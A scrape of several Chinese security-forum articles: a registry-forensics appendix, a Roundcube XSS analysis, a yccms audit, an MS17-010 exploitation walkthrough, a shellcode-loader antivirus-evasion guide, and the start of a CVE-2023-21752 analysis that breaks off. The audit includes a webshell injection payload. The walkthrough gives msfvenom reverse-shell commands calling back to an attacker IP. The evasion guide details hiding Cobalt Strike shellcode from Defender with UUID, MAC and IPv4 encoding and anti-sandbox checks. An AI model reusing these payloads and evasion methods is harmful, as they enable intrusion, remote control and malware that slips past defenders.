维基百科关于[系统还原（System Restore）](https://en.wikipedia.org/wiki/System_Restore)的介绍。
处理系统还原快照中的hive文件可能具有挑战性，因为系统上可能存在许多快照，因此需要处理大量数据，而且通常快照之间的cell只存在有微小的变化。处理大量快照的一种策略是构建一个表示注册表cell的结构，然后对每个快照重复处理。以前结构中不存在的任何内容都可以被适当地认为是已删除和已记录的。
## 结论
注册表可以为取证分析提供大量数据。有了大量的已删除数据和历史数据来源，就可以在调查期间收集到更完整的攻击者活动。随着攻击者不断提高技术水平并改进他们的行动，调查人员将不得不进行调整以便发现并防御他们。
## 附录 – 事务型注册表事务日志(.TxR)格式
包含以下格式的记录：
Offset（偏移值） | Field（字段） | Size（大小）
---|---|---
0 | Magic number(魔数) (0x280000) |
… | |
12 | Record size | 4
16 | Record type (1) | 4
20 | Registry operation type(注册表操作类型) | 2
… | |
40 | Key path size(键路径大小) | 2
42 | Key path size repeated | 2
魔数总是0x280000。
记录大小包括标头（header）。
记录类型总是1。
操作类型1是创建键。
操作类型2是删除键。
操作类型3-8为写入或删除值。尚不清楚不同的类型的含义。
键路径大小在偏移值40处，并在偏移量42处重复。所有注册表操作类型都是这样。
对于注册表项的写入和删除操作，键路径位于偏移值72处。
对于注册表值写入和删除操作，存在以下数据：
Offset（偏移值） | Field（字段） | Size（大小）
---|---|---
56 | Value name size | 2
58 | Value name size repeated | 2
… | |
72 | Data type | 4
76 | Data size | 4
值记录的数据在偏移值88处开始。它包含键路径，后面跟着值名或者数据。如果数据大小不为零，则记录为值写入操作；否则为值删除操作。 | 社区文章 |
**Author: Badcode, sebao (知道创宇404安全实验室)**
**Date: 2017-03-17**
### 0x00 漏洞概述
#### 1\. 漏洞简介
Roundcube 是一款被广泛使用的开源的电子邮件程序，在全球范围内有很多组织和公司都在使用。 在服务器上成功安装 Roundcube
之后，它会提供给用户一个web 接口，通过验证的用户就可以通过 Web 浏览器收发电子邮件。 1.1.8 版本之前和 1.2.4 版本之前的
Roundcube
邮件正文展示中存在存储型跨站脚本漏洞。官方已发布[升级公告](https://roundcube.net/news/2017/03/10/updates-1.2.4-and-1.1.8-released)。
#### 2\. 影响版本
1.1.x < 1.1.8 1.2.x < 1.2.4
### 0x01 漏洞复现
Payload来自[.mario](https://twitter.com/0x6D6172696F)
使用telnet 以html的形式发送一封包含 payload
的邮件到目标邮箱中，或者直接使用Roundcube发送一份html的邮件，发送的时候用burpsuite抓包将`_message`的值改成payload即可(也可使用其他方式发送邮件，
要注意的是 payload 是否会被转义)。
当用户查看邮件即可触发跨站脚本漏洞。
### 0x02 漏洞分析
首先看一下整个处理的流程，当用户查看邮件即`action=show`时，`index.php`会包含`/program/steps/mail/show.inc`,这里会调用`$OUTPUT->send('message',false)`，跳到`/program/include/rcmail_output_html.php`，在前端的输出页面就是在这里产生的。在这里会调用`xml_command()`这个函数循环遍历模板输出所需的数据(label,button,message
headers,message body等)，拼接返回。其中取message body时会跳到`rcmail_message_body`函数。
先看下`rcmail_message_body`函数，在`/program/steps/mail/fun.inc`1169-1329行。
function rcmail_message_body($attrib)
{
......
// fetch part body
$body = $MESSAGE->get_part_body($part->mime_id, true);
// message is cached but not exists (#1485443), or other error
if ($body === false) {
rcmail_message_error($MESSAGE->uid);
}
$plugin = $RCMAIL->plugins->exec_hook('message_body_prefix',
array('part' => $part, 'prefix' => ''));
$body = rcmail_print_body($body, $part, array('safe' => $safe_mode, 'plain' => !$RCMAIL->config->get('prefer_html')));
if ($part->ctype_secondary == 'html') {
$container_id = 'message-htmlpart' . (++$part_no);
$body = rcmail_html4inline($body, $container_id, 'rcmBody', $attrs, $safe_mode);
$div_attr = array('class' => 'message-htmlpart', 'id' => $container_id);
$style = array();
if (!empty($attrs)) {
foreach ($attrs as $a_idx => $a_val)
$style[] = $a_idx . ': ' . $a_val;
if (!empty($style))
$div_attr['style'] = implode('; ', $style);
}
$out .= html::div($div_attr, $plugin['prefix'] . $body);
}
else
$out .= html::div('message-part', $plugin['prefix'] . $body);
}
}
}
......
return html::div($attrib, $out);
}
ctype_secondary的值是邮件的Content-type的第二部分(text/html)，当ctype_secondary为html时，也就是邮件是html类型的，会调用`rcmail_html4inline`函数对邮件的内容进行处理。这就是为什么要以html的形式发送邮件的原因。跟进到`rcmail_html4inline`函数
function rcmail_html4inline($body, $container_id, $body_class='', &$attributes=null, $allow_remote=false)
{
$last_style_pos = 0;
$cont_id = $container_id . ($body_class ? ' div.'.$body_class : '');
// find STYLE tags
while (($pos = stripos($body, '<style', $last_style_pos)) && ($pos2 = stripos($body, '</style>', $pos))) {
$pos = strpos($body, '>', $pos) + 1;
$len = $pos2 - $pos;
// replace all css definitions with #container [def]
$styles = substr($body, $pos, $len);
$styles = rcube_utils::mod_css_styles($styles, $cont_id, $allow_remote);
$body = substr_replace($body, $styles, $pos, $len);
$last_style_pos = $pos2 + strlen($styles) - $len;
}
......
return $body;
可以看到，当邮件内容包含style标签时，会把style标签内的内容当成css样式，调用`mod_css_styles`函数处理，过滤css样式中的危险标签。这也是整个漏洞触发的关键点，style标签的价值就体现在这。继续跟进
public static function mod_css_styles($source, $container_id, $allow_remote=false)
{
$last_pos = 0;
$replacements = new rcube_string_replacer;
// ignore the whole block if evil styles are detected
$source = self::xss_entity_decode($source);
$stripped = preg_replace('/[^a-z\(:;]/i', '', $source);
$evilexpr = 'expression|behavior|javascript:|import[^a]' . (!$allow_remote ? '|url\(' : '');
if (preg_match("/$evilexpr/i", $stripped)) {
return '/* evil! */';
}
......
return $source;
}
到了此处，可以看到，对`$source`调用了`xss_entity_decode`函数处理，后面的代码都是对`$source`进行判断和过滤。
public static function xss_entity_decode($content)
{
$out = html_entity_decode(html_entity_decode($content));
$out = preg_replace_callback('/\\\([0-9a-f]{4})/i',
array(self, 'xss_entity_decode_callback'), $out);
$out = preg_replace('#/\*.*\*/#Ums', '', $out);
return $out;
}
`xss_entity_decode`对css的内容进行解码，对`<img/src=x
onerror=alert(1)//`进行解码，返回`<img/src=x onerror=alert(1)//`
原路返回，返回到`rcmail_message_body`函数，此时`$body`的内容如下，最后返回到`rcmail_out_html.php`，拼接其他数据输出，包含payload的页面就被完整的输出到前端。
### 0x03 补丁分析
`$content`被解码之后，对返回前的`$out`使用`strip_tags`过滤,去除 HTML 和 PHP 标签。
### 0x04 修复方案
升级程序：https://roundcube.net/news/2017/03/10/updates-1.2.4-and-1.1.8-released
### 0x05 相关链接
https://www.seebug.org/vuldb/ssvid-92784
http://www.securityfocus.com/bid/96817/info
http://seclists.org/oss-sec/2017/q1/583
https://twitter.com/0x6D6172696F/status/841204796887564288
* * * | 社区文章 |
**前言**
本次所创建的环境为php5.5.38+Apache
本次审计纯属分享审计过程和审计思路，请勿用于非法用途！
**一、环境搭建**
访问该url下载源码<http://ahdx.down.chinaz.com/202003/yccms_v3.4.rar>
将下载下来的源码放到phpstudy上
导入yccms.sql到本地数据库
修改config配置（将数据库名、用户名、密码填入其中）
**二、代码审计**
源码如下，分为如下几个部分
* /Admin 后台路径首页，包含/config/run.inc.php文件
* /Ceshi 测试页面
* /Ceshi2 测试页面
* /config 配置变量目录
* /Compile 编译目录
* /Public 存放缓存代码以及网站相关配置代码
* /Uploads 上传图片目录
* /view 模板目录
将yccms网站源码放到seay源代码审计系统中，开启自动审计
**三、XSS注入漏洞**
通过自动化审计，查找到第一条数据可能存在XSS注入攻击
点击进去查看源代码发现该网页通过$GET请求获取$art参数，然后再echo输出$art的值
访问该网站，并且构造参数?art=<script>alert(1)</script>，XSS注入验证成功
**四、命令执行漏洞**
通过审计发现存在一条命令执行漏洞，该漏洞点在/public/class/Factory.class.php
点击进来审计源代码，分析漏洞构成原因
1.首先该代码的类名为Factory{}，该类使用了setAction() 方法，通过调用self:: getA() 方法获取
$a参数进行跳转检查操作,看是否是admin权限，然后通过file_exists（）函数检查文件路径是否存在，最后调用eval（）执行php代码eval('self::$_obj
= new '.ucfirst($_a).'Action();');
2.这里我们要利用eval函数，首先要绕过file_exists（）函数的验证，这个函数在进行检查会有一个bug，比如/controller/admin;/../，函数允许路径中有一些特殊字符，并且遇到/../会返回到上级目录，可以利用这个策略逃逸出
file_exists（）函数检查。
3.构造payload--->Factory();phpinfo();//../
Factory()是为了闭合eval中的new实例化，然后后面的是执行的命令语句，所以我们要找有生成Factory（）实例的文件/config/run.inc.php
4.查找包含/config/run.inc.php该文件的文件/admin/index.php、/config/count.php
5.构造payload获取webshell
<http://127.0.0.1/yccms/config/count.php?a=Factory();@eval($_POST[v]);//../>
一句话木马连接成功，获取网站的shell
**五、任意文件删除漏洞**
全局搜索发现一条可能存在任意文件删除和读取的记录
点击跳转到源码分析
* 1.通过POST请求获取参数pid
* 2.图片的根路径为/uploads
* 3.将参数pid的值赋给value，将pid的值放在根目录后面，即/uploads/$pid
* 4.将路径放到unlink（）函数中进行删除，返回值为ture或者false然后再执行if-else语句
这里我们就可以创建一个测试文件test_su.txt，然后构造$pid的值来进行跨路径删除
在yccms后台的图片管理模块对图片进行删除，然后通过burp软件抓包获取请求包
在请求包中修改post值（$pid），pid=../test_su.txt（因为现在是在uploads下，测试文件在上一级目录，所以构造该payload）
测试文件被删除，任意文件删除测试成功
**六、暴力破解漏洞**
该cms具有验证码的功能模块，但是验证码只验证一次，之后就不再刷新了，所以可以通过burp软件抓包，然后对账号密码进行暴力破解
Yccms的默认账号密码为admin/admin，在验证成功的时候响应包的内容为2
当验证失败的时候响应包的内容为1
**七、任意密码修改**
全局搜索修改密码的模块/controller/AdminAction.class.php，该模块代码只验证了用户名、密码、校验密码的逻辑，没有对用户的权限进行验证；如果用户名、密码、第二次校验密码逻辑正确则调用函数editAdmin（）
跟踪函数到/model/AdminModel.class.php文件下，editAdmin（）函数是一个sql语句，用于更新密码的，也没有对admin权限进行验证
找到网页的修改密码模块，先去看一下请求包的结构，这样方便我们构造新的越权修改密码的payload
通过burp软件抓包可知请求包结构
退出admin账号登录，在没有登录的情况下验证payload是否有效，回复包回复修改成功，只需验证新密码是否能改成功登录即可
验证新密码登录成功，证明漏洞存在
**总结**
本次的代码审计中，还发现了该cms存在越权访问漏洞、目录遍历漏洞，在未登录管理员的情况下，输入网站部分路径可以对后台模块进行操作，例如越权操作文件上传漏洞；目录遍历能够访问某一目录下的子目录文件，本次代码审计到此结束，谢谢各位观看！ | 社区文章 |
### 利用ms17-10提权win2012测试环境搭建：
这里我们简单地进行测试，我们需要一个`kali2017.1`的虚拟机，以及一个`Windows 2012 R2`的目标靶机虚拟机。
图一 Windows 2012 R2（x64）
该漏洞可以在低权限下被利用，这种前提条件需要获得目标靶机的普通用户登录凭据（用户名和密码），一旦该漏洞被利用总会收到一个system权限的终端。
图二 创建一个普通账号test
图三 启用来宾用户guest
要理解这个漏洞如何被利用，我们必须考虑这三种类型的文件，以及我们如何创建这些文件：
* Exploit
* Kernel Shellcode
* Userland Shellcode
图四 第一种流程图
图五 第二种流程图
#### 第1步：创建 Kernel Shellcode
我们首先要创建一个`Kernel Shellcode`，可从下面地址中获得：
<https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm>
将下载的代码复制粘贴另存为`kernel_shell_x64.asm`，为了执行它，我们将执行这个命令：
nasm -f bin kernel_shell_x64.asm
因此，它将生成一个名为`kernel_shell_x64` 的文件 ：
图六 创建 kernel_shell_x64
#### 第2步：创建Userland Shellcode（Payload）
下一步是要创建一个 普通用户的`Shellcode`（为了简化，它会创建一个二进制文件，其中将包含我们的有效载荷）我们需要使用工具`msfvenom`
它将创建两种类型的有效负载：
1. 一个反向tcp的有效载荷以及
2. 一个反向msf的有效载荷`Meterpreter`
**反向tcp的有效载荷:**
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444
图片七 创建反向tcp的有效载荷
**反向msf的有效载荷Meterpreter:**
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444
图八 msf的有效载荷Meterpreter
一旦创建了有效载荷，我们应该把每一个与`kernel_shell_x64` 文件连接起来， 这样我们将生成新的二进制文件：
cat kernel_shell_x64 shell_msf.bin> reverse_shell.bin
图九 生成reverse_shell.bin
图十 生成meterpreter.bin
我们创建一个名为`binaries`的文件夹，我们将文件`meterpreter.bin`和`reverse_shell.bin`复制到该文件下。
mkdir binarios
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls
图十一 创建二进制文件夹和复制文件
#### 第3步：创建exploit.py
`Exploit.py`创建文件，代码可以从该链接下载：
<https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e>
图十二 创建exploit.py文件
#### 第4步：配置exploit.py与相应的用户
在下面配置中我们可以使用普通用户权限的账号也可以用来宾账号（如需要来宾则需要启用guest账号）进行修改测试。
图十四 test用户Exploit.py配置
#### 第5步：监听反弹shell
图十五 shell监听反弹（`Payload: windows/x64/shell/reverse_tcp`)
图十六 msf监听反弹(`Payload: windows/x64/meterpreter/reverse_tcp`)
#### 第6步：执行漏洞利用
在这一步中，我们将使用`exploit.py`和包含反向`shell`或`meterpreter`负载会话的二进制文件进行攻击。值为`“500”`的参数对应于`“numGroomConn”`。调整连接数量`“Groom”`有助于在内核中实现连续的内存池，以便覆盖缓冲区结束我们想要的位置，并实现正确的`shellcode`执行。
图十七 利用负载`reverse_shell.bin`
图十八 利用有效载荷`meterpreter.bin`
#### 第7步：执行结果：
图十九 获取目标终端shell
图二十 有效载荷Meterpreter的shell | 社区文章 |
# CS shellcode内存加载器免杀及实现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 相关代码以及免杀项目实现:
> [https://github.com/crisprss/Shellcode_Memory_Loader](https://)
## 0x01.前言
前段时间看到小刚师傅的文章分享了几个加载器的相关实现,本篇文章在此基础上扩展了一些加载器实现的思路,并使用C#结合反射注入的方式实现发现免杀效果挺不错,最近用Golang结合内存加载以及其他免杀细节的方式重构了一遍,基本能过常见杀软和Defender,因此在这里记录一下内存免杀的思路以及相关实现细节,已将Golang实现上传至项目
## 0x02.何为内存加载免杀
免杀的方式多种多样,例如分离免杀、通过反射等方式,但其本质其实是一种特征码免杀技术,首先我们要知道
**特征码查杀恶意病毒是运用程序中某一段或几段64字节以下的代码作为判别程序病毒的主要依据**
分离免杀之所以能获得很好的效果就是因为shellcode加载器本身并不包含恶意代码，自然也不会包含恶意软件的特征码，而只有当加载器运行时，它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式,当然也是偏静态的
那么基于shellcode的分离免杀,PE文件同样也能实现,将PE文件以某种加密方式进行存储后使用加载器读取PE文件并且解密,最后放入到内存当中执行,那么该程序被识别为恶意程序的可能性就大大降低了,实际上反射DLL注入也是基于这样,通过从内存中而不是在磁盘加载DLL,这样避免了文件落地
试想我们开辟一块内存,然后直接将shellcode写入到对应的内存中并且该内存是可读可写可执行的状态,那么这种方式太容易被AV所查杀,因此当我们如果是利用Windows自身提供的API来将加密或者封装好的shellcode写入到内存执行的话,将会大大增加查杀的难度
## 0x03.通过UUID方式实现内存加载
利用UUID向内存写入shellcode的方式早在17年就已经出现,不过在近一年中国内也是利用较多,俺在今年HVV中查到的样本还有利用UUID方式免杀的(x
### 3.1 UUID是什么
通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符，根据标准方法生成，不依赖中央机构的注册和分配，UUID具有唯一性。
> 这里注意一下UUID是一种标准而GUID是UUID标准的一种具体实现
### 3.2 如何转换UUID
Python的官方文档中记录了UUID转换的函数以及相关原型和用法
[https://docs.python.org/3/library/uuid.html](https://)
这里要注意的是`uuid.UUID`函数接受一个16个字节的byte,因为前文说过uuid是一个128位的标识符也就是16字节,当剩余字节数不满16个可添加`\x00`补充字节数
如果我们要将shellcode转为UUID格式,注意就需要将全部的`shellcode`全部转化为uuid
最后`shellcode`转为UUID的效果就是这样:
### 3.3 UUID如何写入内存
我们从MSDN上关注下这两个API函数
**1.UuidFromStringA**
我们需要提供两个参数,指向UUID字符串的指针,这里也就是我们之前转换后的UUID字符串,后一个参数可以理解为就是内存中的一块区域,将UUID转化成二进制写入到了这一块内存区域中,因此这一块内存通过转化后已经写入shellcode
> 注意该API是调用了动态链接库，因此我们在使用过程中也需要进行链接:
>
因此利用的时候,首先我们需要创建一块内存,这里使用`HeapCreate`创建内存,然后申请内存的大小,并且设置该内存为可读可写可执行,注意申请内存的大小`len(shellcode)*16`
因为有多少UUID转化为二进制后就会有多少个16字节,因此申请内存时也需要注意这个问题
在实现过程中还需要考虑一些细节上的实现,例如在申请内存的API函数选择上,传统的`VirtualAlloc/HeapAlloc`等方式可能已经被杀软Hook,在这里我经过多次比对,在`RtlCopyMemory`和`ZwAllocateVirtualMemory`中选择了后者,使用内核层面Zw系列的API，绕过杀软对应用层的监控
这里比较粗暴的设置了申请内存的大小为`0x100000`,然后我们要对每一个UUID逐个调用`UuidFromStringA`函数写入到我们申请的内存中
> 注意每一次UUID的转换都会伴随内存地址都会增大16字节
>
### 3.4 如何执行内存中的shellcode
其实执行的方式也有多种多样,一方面我们可以直接调用Golang的syscall包从底层来直接执行
> syscall包包含一个指向底层操作系统原语的接口。
尽管 Go 语言具有cgo这样的设施可以方便快捷地调用 C 函数，但是其还是自己对系统调用进行了封装，以`amd64`架构为例， Go
语言中的系统调用是通过如下几个函数完成的：
// In syscall_unix.go
func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
在这里介绍另外一种通过函数回调方式执行shellcode的函数`EnumSystemLocalesA`
**细节1**
为了避免直接调用syscall,我们可以通过利用这种较为冷门的API函数来执行内存中的shellcode同样可以避开杀软的监控,通过callback方式来触发执行shellcode的方式可以参考:
**<https://www.freebuf.com/articles/web/269158.html>**
1.EnumTimeFormatsA
2.EnumWindows
3.EnumDesktopWindows
4.EnumDateFormatsA
5.EnumChildWindows
6.EnumThreadWindows
7.EnumSystemLocales
8.EnumSystemGeoID
9.EnumSystemLanguageGroupsA
10.EnumUILanguagesA
11.EnumSystemCodePagesA
12.EnumDesktopsW
13.EnumSystemCodePagesW
其中的函数在MSDN中也有对应的说明和其他方法的实现,例如以`EnumSystemLocalesA`为例,就有`EnumSystemLocalesW`和`EnumSystemLocalesEx`均可以替代进行回调
最后回调即可:
最终的免杀效果尚可
免杀项目实现已上传到Github上
## 0x04.利用MAC实现内存加载
我们知道在这里实现内存加载的一种方式就是去寻找各种API,MSDN上提供了各式各样的API,如果某一种API函数实现了某种可逆的变形并且最终写入到二进制指针当中,那么也就实现了内存加载
### 4.1 MAC是什么
MAC地址也叫物理地址、硬件地址，由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片，通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的，IP地址是32位的，而MAC地址则是48位（6个字节）的
### 4.2 如何将shellcode转为MAC
`RtlEthernetStringToAddressA和RtlEthernetAddressToStringA`便是其中的一种
分别从MSDN中查看两个API函数的相关信息:
**RtlEthernetAddressToStringA函数原型**
NTSYSAPI PSTR RtlEthernetAddressToStringA(
const DL_EUI48 *Addr,
PSTR S
);
>
> 注意6个字节转换一个mac值，\x00是一个字节,当使用该函数后6个字节会变成18-1(`\x00`)个字节,即17个字节,当剩余字节数不满6个需要添加`\x00`补充字节数，必须将全部的shellcode全部转化为mac值
因此需要每隔六个字节进行一次转换，内存地址递增17,直到转换完所有的shellcode为止
针对转MAC的方式其实是这样转换的:
\xfc\x48\x83\xe4\xf0\xe8
=>
FC-48-83-E4-F0-E8
因此将shellcode转为MAC也可以不用上面的写法,不过在这里就还是使用小刚师傅的脚本利用原生Win API转shellcode
### 4.3 如何将MAC还原为shellcode写入内存
前文提到的两个函数其实是一个可逆的过程,因此我们只要使用`RtlEthernetStringToAddressA`便可以将MAC值从字符串形式转为二进制格式
FC-48-83-E4-F0-E8
=>
\xfc\x48\x83\xe4\xf0\xe8
这里需要提供3个参数,这里我们第一二个参数都为指向shellcode转化为MAC后的指针即可,第三个参数传入接收的内存指针
那么我们同样需要申请内存中一块可读可写可执行的空间,在这里我选择另外一种方式
为了逃避检测申请内存的行为，可以采用 **渐进式加载模式**
，也就是申请一块可读可写不可执行的内存，再使用`VirtualProtect`函数将内存区块设置为可执行，从而规避检测。
**细节2**
在这里用小刚师傅分享的`AllocADsMem`函数来替代`HeapAlloc`申请指定大小的内存空间,因为类似`VirtualAlloc/HeapAlloc`等API被杀软Hook的情况很常见,利用冷门的API能够有效避开杀软的探测
参数是要分配的内存大小，成功调用则返回一个指向已分配内存的非NULL指针，
如果不成功，则返回NULL,该内存空间是可读可写不可执行的,因此我们还需要调用`VirtualProtectEx`来实现将该内存空间设置为可执行
因此写入内存的步骤也就比较清晰了:
* 1.使用AllocADsMem申请len(shellcode)*6的空间大小的内存
* 2.对每一个MAC字符串都调用`RtlEthernetStringToAddressA`写入到刚申请的内存中
* 3.每一次调用结束后写入一个mac二进制需要将指针移动6个字节,内存地址都会增加6个字节
* 4.调用`VirtualProtectEx`将该区域的内存设置为可执行
最后同样可以使用回调函数执行内存,这里使用`EnumSystemLocalesW`
**细节3**
在今年DEFCON
29中介绍了golang的一些作为红队使用语言的优势，议题主要介绍的是题主自己用golang实现的一系列红队工具，外加一些其他的补充,其中就有从内存中加载DLL动态链接库,个人认为就是类似于反射DLL注入的方式,然后进行调用，相当于实现了自己的`LoadLibrary`而不需要调取系统的`LoadLibrary`
**<https://github.com/Binject/universal/>**
在实现中我也用到了该项目:
var ntdll_image []byte
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
ntdll_loader, err := universal.NewLoader()
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)
_, err = ntdll_library.Call("RtlEthernetStringToAddressA", uintptr(unsafe.Pointer(&u[0])), uintptr(unsafe.Pointer(&u[0])), addrptr)
通过上述代码避免了直接使用`Loadlibrary`或者`NewLazySystemDLL`懒加载的方式来导入动态链接库,这样杀软并不会在导入表中也检测不到我们使用了`RtlEthernetStringToAddressA`函数
最终的免杀效果和UUID类似,虽然VT上显示会被微软查杀,但测试的时候最新Windows
Defender也能过,不是很理解,但是个人认为免杀效果比UUID可能好点
## 0x05.利用Ipv4方式实现内存加载
既然Windows中存在处理MAC的相关函数,笔者因此想到肯定存在IPV4的相关处理函数,我们定位到MSDN关于`IP2String.h`的相关介绍上:
### 5.1 IPV4是什么
IPv4是一种无连接的协议，操作在使用分组交换的链路层（如以太网）上。此协议会尽最大努力交付数据包，意即它不保证任何数据包均能送达目的地，也不保证所有数据包均按照正确的顺序无重复地到达。
**IPv4使用32位（4字节）地址** ，因此地址空间中只有4,294,967,296（232）个地址。
### 5.2 如何将shellcode转为Ipv4格式
因此可以看到在这里我们同样可以利用IPV4的方式实现内存加载，同样使用到了两个API函数:`RtlIpv4AddressToStringA/RtlIpv4StringToAddressA`
第一个函数的函数原型如下:
NTSYSAPI PSTR RtlIpv4AddressToStringA(
[in] const in_addr *Addr,
[out] PSTR S
);
此函数可以将二进制转化为IPV4的格式
>
> 注意4个字节转换一个Ipv4值，\x00是一个字节,当使用该函数后4个字节会变成16-1(`\x00`)个字节,即15个字节,当剩余字节数不满4个需要添加`\x00`补充字节数，必须将全部的shellcode全部转化为Ipv4值
当使用如上图所示代码,我们便能够将byte类型的shellcode转化为Ipv4格式:
b'\xfc\x48\x83\xe4\'
=>
252.72.131.228\x00
注意这里如果没有到15个字节则会以自动以`\x00`进行补充,最后一个字节即第16个字节是字符串结束符
### 5.3 如何将Ipv4还原为shellcode写入内存
这里就是使用到了第二个API函数:`RtlIpv4StringToAddressA`
函数原型如下:
NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
[in] PCSTR S,
[in] BOOLEAN Strict,
[out] PCSTR *Terminator,
[out] in_addr *Addr
);
因此这里还原写入shellcode的步骤为:
* 1.申请一片内存,其内存大小应该是`len(shell_ipv4)*4`,因为该函数还原后每一个IPv4就会变成对应的4个字节
* 2.通过`RtlIpv4StringToAddressA`将每次的4个字节写入到内存中,此时内存在递增4个字节
* 3.使用`VirtualProtectEx`将内存设置为可执行
**细节4**
这里使用了比较简单的反沙箱技术,当今大多数真实机具有4GB以上的RAM,我们可以检测RAM是否大于4GB来判断是否是真实的运行机器,同样大多数真实机拥有4核心cpu，许多在线检测的虚拟机沙箱是2核，我们可以通过核心数来判断是否为真实机器或检测用的虚拟沙箱，当然反沙箱还有更多高端操作以及其他判断源，例如可以从系统开机时间、临时文件夹的文件数目
例如我们编写如下一个程序,将收集好的信息通过`socket`回调给服务器,然后服务器监听对应的端口即可:
我们主要获取CPU核心数和物理内存数,以某沙箱为例:
可以看到该沙箱的环境为1核2G,并且其桌面都是一些随机命名的检测文件等,因此这就可以作为我们反沙箱的要点:
这里我们判断4核2G之下就为虚拟机,如果是虚拟机我们就直接退出,不在继续进行相关操作,对于一般的沙箱而言也能够有效避免被沙箱获得IP或者网络通信情况
使用该内存加载方式和前两者区别同样不大,市面上主流杀软都能够过,免杀效果尚好。
## 0x06.结语
最后,有心的师傅们可能注意到MSDN中不仅提供了IPv4的相关转换函数,IPv6自然也存在对应的转换函数,因此利用IPv6同样也能够进行内存加载达到免杀的目的,不过在这里有兴趣的师傅可以自己去实现,最后免杀项目使用Golang进行开发,C#实现效果也很好,不过这里就不再展开赘述,只是分享内存免杀的一种思路和一些免杀细节的实现 | 社区文章 |
**作者：zoemurmure**
**原文链接：<https://www.zoemurmure.top/posts/cve_2023_21752_1/>**
## 0\. 前言
CVE-2023-21752 是 2023 年开年微软第一个有 exploit
的漏洞，原本以为有利用代码会很好分析，但是结果花费了很长时间，难点主要了两个：漏洞点定位和漏洞利用代码分析，因此在本文中花费了更多的篇幅介绍了这两部分内容，欢迎指正。
## 1\. 漏洞简介
根据官方信息，该漏洞是 Windows Backup Service 中的权限提升漏洞，经过身份认证的攻击者可利用此漏洞提升至 SYSTEM
权限。成功利用此漏洞需要攻击者赢得竞争条件。
EXP 代码位于 [Github](https://github.com/Wh04m1001/CVE-2023-21752)，提供了两个版本，版本 1
可以实现任意文件删除，可稳定复现；版本 2 尝试利用任意删除实现本地提权，但是复现不稳定。
## 2\. 漏洞点定位的曲折之路
这部分内容是一些失败的过程记录，以及我自己的碎碎念，防止自己之后犯同样的错误，只对漏洞分析感兴趣的可以略过 2.1 和 2.3 小节。
### 2.1 失败的过程
首先尝试复现，提权版本的利用程序在虚拟机上没有复现成功，任意文件删除版本的利用程序由于我没有使用完整路径，也没有复现成功（但是此时我还不知道原因）。
之后我尝试进行补丁对比，但是想要进行补丁对比首先要确定漏洞位于哪个文件中，根据漏洞利用程序的文件命名 `SDRsvcEop`，找到了文件
sdrsvc.dll，但是补丁对比后并没有发现差异。
> 这期间我还搜索了关于这个漏洞的信息，但是除了漏洞通告和 GitHub 的 exp
> 代码外，没有找到其他内容。这里吐槽一下某数字站的漏洞通告，竟然说这个漏洞是 Windows Server Backup (WSB) 上的……
这个时候我已经开始对漏洞利用代码进行分析了，一方面通过微软的文档，了解代码中一些函数和参数的使用，一方面开始在 Windbg 上进行调试，并由此找到了
rpcrt4.dll、combase.dll 这些和漏洞无关的文件。
在调试过程中，我花费了很多时间在 `DeviceIoControl` 这个函数上，因为之前看的很多漏洞最终定位的文件都是 sys
驱动文件，因此虽然我在心里仍旧为 dll 文件留了一些位置，但是在方法选择上，我仍旧趋向去寻找某个 sys 文件。所以我想要在利用程序执行到
`DeviceIoControl` 的时候，在用户态转内核态的入口位置设置一个断点，然后监控系统究竟执行到了哪里。当然，这个方法失败了，并且搞得我心烦意乱。
我在这个时候才想起来要把利用程序参数的相对路径改成绝对路径，并且成功复现了任意文件删除。虽然但是，这之后我又走了弯路……
> 之前学习病毒分析的时候，有一个算是标准的流程，就是要先执行病毒，看一下它的动态特征，以此方便后面的动态分析。之前看的很多漏洞分析文章，也都是要执行一下
> poc 或者 exp，进行进程监控，但是我完全忘记了，或者说我虽然想到了这个方法，但是并没有十分重视。
我在继续分析漏洞利用代码，在此期间看了一些关于 DCOM 的资料，确定 sdrsvc.dll 是依赖 rpcss.dll 文件功能的（明明可以通过
process hacker 直接确定的……），通过补丁对比发现函数 `CServerSet::RemoveObject` 被修改，我尝试在 Windbg
中在这个函数设置断点，但是利用程序没有执行到这里，所以漏洞点不在这个文件。
> 其中这个时候我的潜意识已经告诉我我的路走错了，因为微软的漏洞说明上明明白白的写着 Windows backup
> service，所以漏洞文件肯定是和这个功能直接相关的文件，要不然它就直接写 RPC 漏洞了。
### 2.2 转入正轨
此时我仍旧没有使用 procmon
对利用程序进行监控，我选择在安装补丁前后的系统上执行利用程序，并检查输出（输出内容做了一些修改），得到以下结果（因为只是测试功能，并没有选择对高权限文件进行删除）：
补丁修复前
PS C:\Users\exp\Desktop> C:\Users\exp\Desktop\SDRsvcEop.exe C:\Users\exp\Desktop\test.txt
[wmain] Directory: C:\users\exp\appdata\local\temp\23980418-9164-497e-8ce7-930949d1af55
[Trigger] Path: \\127.0.0.1\c$\Users\exp\AppData\Local\Temp\23980418-9164-497e-8ce7-930949d1af55
[FindFile] Catch FILE_ACTION_ADDED of C:\users\exp\appdata\local\temp\23980418-9164-497e-8ce7-930949d1af55\SDT2C35.tmp
[FindFile] Start to CreateLock...
[cb] Oplock!
